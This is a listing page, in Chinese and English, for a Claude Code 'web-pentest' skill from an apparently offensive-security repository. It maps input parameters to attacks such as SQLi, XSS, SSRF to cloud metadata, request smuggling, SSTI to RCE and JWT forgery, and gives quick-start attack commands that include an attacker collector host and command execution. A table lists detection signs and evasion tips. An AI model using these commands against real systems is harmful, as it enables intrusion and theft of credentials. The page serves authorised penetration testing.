关于 web-pentest
面向 Web、API、身份验证和业务逻辑评估的 Web 应用渗透测试技能。它根据观察到的输入信号指向专项参考资料,并提供常见测试领域的脚本与流程。
主要功能
- 01按信号选择测试方向
- 02覆盖 Web 与 API 漏洞
- 03身份验证与访问控制测试
- 04请求走私、缓存与竞态测试
- 05参考指南与辅助脚本
适用场景
- 01侦察后评估 Web 应用
- 02测试 API 身份验证和访问控制
- 03调查输入相关的注入或 SSRF 风险
- 04检查业务逻辑流程与竞态条件
MCP 相关
该技能指向 proxy-mcp-integration.md,说明如何使用实时 Burp/Caido 代理 MCP 检查和重放流量,并要求在数据边界进行请求头脱敏。
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ hypnguyen1209/ offensive-claude --skill web-pentest安装后在 Claude Code 中输入/web-pentest确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
references/auth-api-access-control.mdbusiness-logic-abuse.mdhttp-desync-cache.mdinjection-sqli-cmdi.mdproxy-mcp-integration.mdssrf-cloud-metadata.mdssti-deserialization.mdxss-csp-clientside.mdscripts/desync_probe.pygraphql_audit.pyjwt_forge.pyproto_ssti_gadgets.pyrace_single_packet.pysession_entropy.pyssrf_toolkit.pyxss_csp_forge.py详细介绍
Web 应用渗透测试
何时启用
- Web 应用安全评估(黑盒/灰盒/白盒)
- API 安全测试(REST、GraphQL、WebSocket)
- 身份验证与会话管理测试(JWT、OAuth/OIDC、SAML)
- 业务逻辑与竞态条件挖掘
- WAF/CSP 绕过、过滤器规避和 CDN 层攻击(desync、缓存)
- 验证 2024-2026 年的现代攻击向量:HTTP/1.1 desync(0.CL/TE.0)、SSRF->云 元数据、原型污染->RCE、SSTI 沙箱逃逸
输入信号路由(观察到 X 时测试什么)
快速选择测试——将观察到的参数/行为映射到相应的深入测试:
| 观察到的输入信号 | 测试内容 | 前往 |
|---|---|---|
id、uid、order_id、account、GUID/顺序引用 | IDOR/BOLA、访问控制 | references/auth-api-access-control.md |
url、next、callback、dest、webhook、image_url | SSRF + 云元数据、开放重定向、OAuth 链 | references/ssrf-cloud-metadata.md |
price、qty、coupon、balance、status、状态变更 | 业务逻辑 + 单数据包竞态 | references/http-desync-cache.md(竞态) |
| 模板/预览/名称在输出中反射 | SSTI -> RCE、反射型 XSS | references/ssti-deserialization.md |
搜索/筛选/排序内容被反射;q=、错误回显输入 | SQLi、XSS、命令注入 | references/injection-sqli-cmdi.md |
token、jwt、Authorization、Cookie、OAuth state | JWT 伪造、会话/OAuth 漏洞 | references/auth-api-access-control.md |
空/缺失/session=;登录无需凭据即可通过;user[$ne]= | 身份验证检查篡改(空值/null/NoSQL/类型混淆/HPP)、令牌预测 | references/auth-api-access-control.md |
序列化数据块/base64 对象/__proto__ | 反序列化、原型污染 | references/ssti-deserialization.md |
位于 CDN/缓存之后;X-Forwarded-*;带键参数 | desync(0.CL/TE.0)、缓存投毒 | references/http-desync-cache.md |
Technique Map
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |
| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |
| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |
| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |
| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |
| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |
| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |
| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP) | T1556 | CWE-287 / CWE-697 / CWE-943 | references/auth-api-access-control.md | - |
| Session token prediction (weak PRNG/entropy) | T1539 | CWE-330 | references/auth-api-access-control.md | scripts/session_entropy.py |
| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |
| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |
| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |
| Business-logic abuse (price/refund/workflow/race) | T1539 | CWE-841 | references/business-logic-abuse.md | scripts/race_single_packet.py |
| HTTP Parameter Pollution (HPP) | T1190 | CWE-235 / CWE-88 | references/injection-sqli-cmdi.md | - |
| File-upload -> webshell / RCE | T1505.003 | CWE-434 | references/injection-sqli-cmdi.md | - |
Quick Start
# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
# Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig
# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment
# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"
# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws
# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose
# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"
# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql
# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."
# -> feed each confirmed issue into templates/exploit/findings/ with
# severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
运维安全与检测(摘要)
| 技术 | 遥测 / IOC | 检测(Sigma/EDR) | 运维安全注意事项 |
|---|---|---|---|
| SQLi / cmdi | SQL 关键字、SLEEP/WAITFOR、Web 服务进程派生 sh/curl | Web 服务器正则 Sigma;EDR 检测 www-data 派生子 Shell | 基于时间的检测缓慢且噪声大;先用 --random-agent --delay,优先带内读取 |
| XSS / CSP / 客户端 PP | 参数中出现 <script、onerror=、__proto__;CSP report-uri 命中 | Web 服务器正则;Trusted-Types 违规警报 | 持久化的 __proto__ 可能破坏共享缓存页面 — 应避免 |
| SSRF / 元数据 | 应用层访问 169.254.169.254 / 元数据主机 | 代理 Sigma;GuardDuty 凭据外泄检测 | 证明令牌已取回后即停止;轮换协作者子域名 |
| HTTP desync / 缓存 | 同时出现 CL+TE、obs-fold、向 CDN 的 OPTIONS 请求中出现 Expect | 代理 Sigma;拒绝有歧义的分帧 | 会污染共租户流量 — 仅限特定范围,绝不对生产环境进行 POST 请求走私 |
| SSTI / PP / 反序列化 | {{ }}/${ }、NODE_OPTIONS、rO0AB、JNDI 出站流量 | Web 服务器/请求正文 Sigma;EDR 检测 java->LDAP/RMI | 先用 id 探测;反向 Shell 会触发 EDR;还原被污染的配置 |
| JWT / OAuth / GraphQL | alg:none、未知的 jku/kid、多操作 GraphQL 请求正文 | 应用 Sigma;验证失败峰值 | 伪造 JWT 的尝试会触发警报;限制 GraphQL 暴力破解字典和速率 |
| 竞态(单数据包) | 短时间内突发几乎同时发出的变更请求 | 按端点统计 1 秒窗口内请求速率的 Sigma 规则 | 限制 -n 值;记录被修改的状态以便清理 |
深入分析
- references/injection-sqli-cmdi.md — SQLi(UNION/盲注/报错/NoSQL)、OS 命令 与参数注入、HTTP 参数污染(HPP)、文件上传 -> Webshell/RCE、 sqlmap 篡改工作流、现代 WAF/Unicode 绕过。
- references/xss-csp-clientside.md — XSS 上下文、DOM 接收器、CSP 绕过 + 脚本小工具、客户端原型污染 -> XSS、mXSS/净化器绕过。
- references/ssrf-cloud-metadata.md — SSRF 解析器混淆、gopher/redis、 AWS/GCP/Azure 元数据、IMDSv2 的实际情况 + Axios 绕过、HTML 转 PDF 开关、 2024-2026 年 CVE(Azure OpenAI、Oracle EBS、Next.js、ColdFusion)。
- references/http-desync-cache.md — CL.TE/TE.CL、TE.0(2024)、0.CL/Expect 与 CVE-2025-32094(Akamai)、TE.TE chunk-ext、缓存投毒/欺骗 (“Gotta cache 'em all”,ACM CCS 2024)、流水线处理与 desync 的注意事项。
- references/ssti-deserialization.md — 各引擎的 SSTI RCE、沙箱逃逸 (CVE-2024-22195、Frappe/XWiki/Yeti)、Node 原型污染 -> RCE(GHunter、 NODE_OPTIONS --import)、Java/.NET/PHP 反序列化小工具链。
- references/auth-api-access-control.md — JWT 伪造、OAuth/OIDC/SAML、GraphQL 批处理/别名/深度滥用、会话与身份验证检查篡改(空/空值/假值、 NoSQL 运算符 + 类型强制转换 + HPP 注入身份验证)、会话令牌预测/熵 (scripts/session_entropy.py)、用于跨身份测试的测试帐户设置、 IDOR/BOLA/批量赋值,以及 HTTP/2 单数据包竞态攻击。
- references/business-logic-abuse.md — 对预期状态机建模,然后破坏 状态转换:价格/数量/优惠券篡改、退款/支付与单数据包竞态、 跳过工作流步骤、幂等性缺口、租户/角色混淆、漏洞串联。
- references/proxy-mcp-integration.md — 驱动实时 Burp/Caido 代理 MCP,以获取
基准流量并在带身份验证的情况下重放,数据边界处必须进行标头脱敏
(
redact_headers.py)。
评论
支持 Markdown